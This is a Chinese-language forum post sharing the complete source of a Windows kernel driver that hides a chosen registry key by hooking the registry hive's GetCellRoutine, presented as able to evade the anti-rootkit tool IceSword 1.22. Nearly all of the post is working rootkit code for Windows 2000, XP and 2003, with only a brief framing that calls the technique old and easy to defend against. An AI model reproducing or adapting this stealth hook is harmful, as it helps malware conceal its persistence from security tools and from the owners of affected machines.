发一段隐藏注册表项的驱动代码,可以过目前最新的IceSword1.22

以前驱动开发网悬赏挑战IceSword时写的,不过最后没公开。那时流氓软件势头正劲,我可不想火上浇油。现在反流氓软件日渐成熟,也就没关系了。知道了原理,防御是非常容易的。

原理很简单,实现的代码也很短,啥都不用说,各位直接看示例代码吧。

  1. #include <ntddk.h>
  2. #define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) )
  3. #define CM_KEY_INDEX_ROOT 0x6972 // ir
  4. #define CM_KEY_INDEX_LEAF 0x696c // il
  5. #define CM_KEY_FAST_LEAF 0x666c // fl
  6. #define CM_KEY_HASH_LEAF 0x686c // hl
  7. // 一些CM的数据结构,只列出用到的开头部分
  8. #pragma pack(1)
  9. typedef struct _CM_KEY_NODE {
  10. USHORT Signature;
  11. USHORT Flags;
  12. LARGE_INTEGER LastWriteTime;
  13. ULONG Spare; // used to be TitleIndex
  14. HANDLE Parent;
  15. ULONG SubKeyCounts[2]; // Stable and Volatile
  16. HANDLE SubKeyLists[2]; // Stable and Volatile
  17. // ...
  18. } CM_KEY_NODE, *PCM_KEY_NODE;
  19. typedef struct _CM_KEY_INDEX {
  20. USHORT Signature;
  21. USHORT Count;
  22. HANDLE List[1];
  23. } CM_KEY_INDEX, *PCM_KEY_INDEX;
  24. typedef struct _CM_KEY_BODY {
  25. ULONG Type; // "ky02"
  26. PVOID KeyControlBlock;
  27. PVOID NotifyBlock;
  28. PEPROCESS Process; // the owner process
  29. LIST_ENTRY KeyBodyList; // key_nodes using the same kcb
  30. } CM_KEY_BODY, *PCM_KEY_BODY;
  31. typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);
  32. typedef struct _HHIVE {
  33. ULONG Signature;
  34. PGET_CELL_ROUTINE GetCellRoutine;
  35. // ...
  36. } HHIVE, *PHHIVE;
  37. #pragma pack()
  38. // 需隐藏的主键名
  39. WCHAR g_HideKeyName[] = L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\Beep";
  40. PGET_CELL_ROUTINE g_pGetCellRoutine = NULL;
  41. PGET_CELL_ROUTINE* g_ppGetCellRoutine = NULL;
  42. PCM_KEY_NODE g_HideNode = NULL;
  43. PCM_KEY_NODE g_LastNode = NULL;
  44. // 打开指定名字的Key
  45. HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
  46. {
  47. NTSTATUS status;
  48. UNICODE_STRING uKeyName;
  49. OBJECT_ATTRIBUTES oa;
  50. HANDLE hKey;
  51. RtlInitUnicodeString(&uKeyName, pwcsKeyName);
  52. InitializeObjectAttributes(&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
  53. status = ZwOpenKey(&hKey, KEY_READ, &oa);
  54. if (!NT_SUCCESS(status))
  55. {
  56. DbgPrint("ZwOpenKey Failed: %lx\n", status);
  57. return NULL;
  58. }
  59. return hKey;
  60. }
  61. // 获取指定Key句柄的KeyControlBlock
  62. PVOID GetKeyControlBlock(HANDLE hKey)
  63. {
  64. NTSTATUS status;
  65. PCM_KEY_BODY KeyBody;
  66. PVOID KCB;
  67. if (hKey == NULL) return NULL;
  68. // 由Key句柄获取对象体
  69. status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);
  70. if (!NT_SUCCESS(status))
  71. {
  72. DbgPrint("ObReferenceObjectByHandle Failed: %lx\n", status);
  73. return NULL;
  74. }
  75. // 对象体中含有KeyControlBlock
  76. KCB = KeyBody->KeyControlBlock;
  77. DbgPrint("KeyControlBlock = %lx\n", KCB);
  78. ObDereferenceObject(KeyBody);
  79. return KCB;
  80. }
  81. // 获取父键的最后一个子键的节点
  82. PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
  83. {
  84. // 获取父键的节点
  85. PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent);
  86. // 获取子键的索引
  87. PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);
  88. DbgPrint("ParentNode = %lx\nIndex = %lx\n", ParentNode, Index);
  89. // 如果为根(二级)索引,获取最后一个索引
  90. if (Index->Signature == CM_KEY_INDEX_ROOT)
  91. {
  92. Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
  93. DbgPrint("Index = %lx\n", Index);
  94. }
  95. if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)
  96. {
  97. // 快速叶索引(2k)或散列叶索引(XP/2k3),返回最后的节点
  98. return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);
  99. }
  100. else
  101. {
  102. // 一般叶索引,返回最后的节点
  103. return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
  104. }
  105. }
  106. // GetCell例程的钩子函数
  107. PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
  108. {
  109. // 调用原函数
  110. PVOID pRet = g_pGetCellRoutine(Hive, Cell);
  111. if (pRet)
  112. {
  113. // 返回的是需要隐藏的节点
  114. if (pRet == g_HideNode)
  115. {
  116. DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
  117. // 查询、保存并返回其父键的最后一个子键的节点
  118. pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
  119. DbgPrint("g_LastNode = %lx\n", g_LastNode);
  120. // 隐藏的正是最后一个节点,返回空值
  121. if (pRet == g_HideNode) pRet = NULL;
  122. }
  123. // 返回的是先前保存的最后一个节点
  124. else if (pRet == g_LastNode)
  125. {
  126. DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
  127. // 清空保存值,并返回空值
  128. pRet = g_LastNode = NULL;
  129. }
  130. }
  131. return pRet;
  132. }
  133. NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)
  134. {
  135. DbgPrint("DriverUnload()\n");
  136. // 解除挂钩
  137. if (g_ppGetCellRoutine) *g_ppGetCellRoutine = g_pGetCellRoutine;
  138. return STATUS_SUCCESS;
  139. }
  140. NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)
  141. {
  142. ULONG BuildNumber;
  143. ULONG KeyHiveOffset; // KeyControlBlock->KeyHive
  144. ULONG KeyCellOffset; // KeyControlBlock->KeyCell
  145. HANDLE hKey;
  146. PVOID KCB, Hive;
  147. DbgPrint("DriverEntry()\n");
  148. pDrvObj->DriverUnload = DriverUnload;
  149. // 查询BuildNumber
  150. if (PsGetVersion(NULL, NULL, &BuildNumber, NULL)) return STATUS_NOT_SUPPORTED;
  151. DbgPrint("BuildNumber = %d\n", BuildNumber);
  152. // KeyControlBlock结构各版本略有不同
  153. // Cell的值一般小于0x80000000,而Hive正相反,以此来判断也可以
  154. switch (BuildNumber)
  155. {
  156. case 2195: // Win2000
  157. KeyHiveOffset = 0xc;
  158. KeyCellOffset = 0x10;
  159. break;
  160. case 2600: // WinXP
  161. case 3790: // Win2003
  162. KeyHiveOffset = 0x10;
  163. KeyCellOffset = 0x14;
  164. break;
  165. default:
  166. return STATUS_NOT_SUPPORTED;
  167. }
  168. // 打开需隐藏的键
  169. hKey = OpenKeyByName(g_HideKeyName);
  170. // 获取该键的KeyControlBlock
  171. KCB = GetKeyControlBlock(hKey);
  172. if (KCB)
  173. {
  174. // 由KCB得到Hive
  175. PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);
  176. // GetCellRoutine在KCB中,保存原地址
  177. g_ppGetCellRoutine = &Hive->GetCellRoutine;
  178. g_pGetCellRoutine = Hive->GetCellRoutine;
  179. DbgPrint("GetCellRoutine = %lx\n", g_pGetCellRoutine);
  180. // 获取需隐藏的节点并保存
  181. g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));
  182. // 挂钩GetCell例程
  183. Hive->GetCellRoutine = MyGetCellRoutine;
  184. }
  185. ZwClose(hKey);
  186. return STATUS_SUCCESS;
  187. }